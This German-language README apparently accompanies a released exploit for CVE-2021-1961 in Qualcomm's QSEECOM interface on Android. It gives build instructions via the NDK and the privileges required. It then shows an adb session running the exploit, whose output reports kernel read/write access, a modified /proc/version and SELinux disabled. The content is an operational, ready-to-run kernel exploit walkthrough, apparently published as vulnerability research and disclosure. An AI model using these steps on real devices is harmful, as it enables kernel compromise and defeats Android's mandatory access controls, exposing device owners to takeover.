
Exploit-Code für CVE-2021-1961
Exploit-Code für CVE-2021-1961. Der vollständige Beitrag ist auf meinem Blog verfügbar.
Um den Exploit zu bauen, führen Sie ndk-build des Android NDK aus.
Um den Exploit auszuführen, benötigen Sie Zugriff auf /dev/qseecom, was bedeutet, dass Sie die richtige Benutzer-/Gruppenkombination und den richtigen SELinux-Kontext haben müssen. Dies kann entweder auf einem Debug-Image mit dem Befehl su system oder auf einem mit Magisk gepatchten Stock-Image mit dem Befehl su - system erfolgen.
Hier ist ein Beispiel für die Ausführung des Exploits auf einem mit Magisk gepatchten Stock-Image:
$ adb push qseecom_exploit /data/local/tmp
$ adb shell
blueline:/ $ cd /data/local/tmp
blueline:/data/local/tmp $ su - system
blueline:/data/local/tmp $ id
uid=1000(system) gid=1000(system) groups=1000(system) context=u:r:magisk:s0
blueline:/data/local/tmp $ getenforce
Enforcing
blueline:/data/local/tmp $ ./qseecom_exploit
[+] Setup widevine
[+] Got a 32 bit addresses ION
[+] Setup exploit kernel r/w
[+] Found kallsyms_token_table marker
[+] Found all kallsyms data
[+] Kernel virtual base address: 0xffffff9b9b080000
[+] Modified /proc/version
[+] Disabled SELinux
blueline:/data/local/tmp $ cat /proc/version
*modified*
blueline:/data/local/tmp $ getenforce
Permissive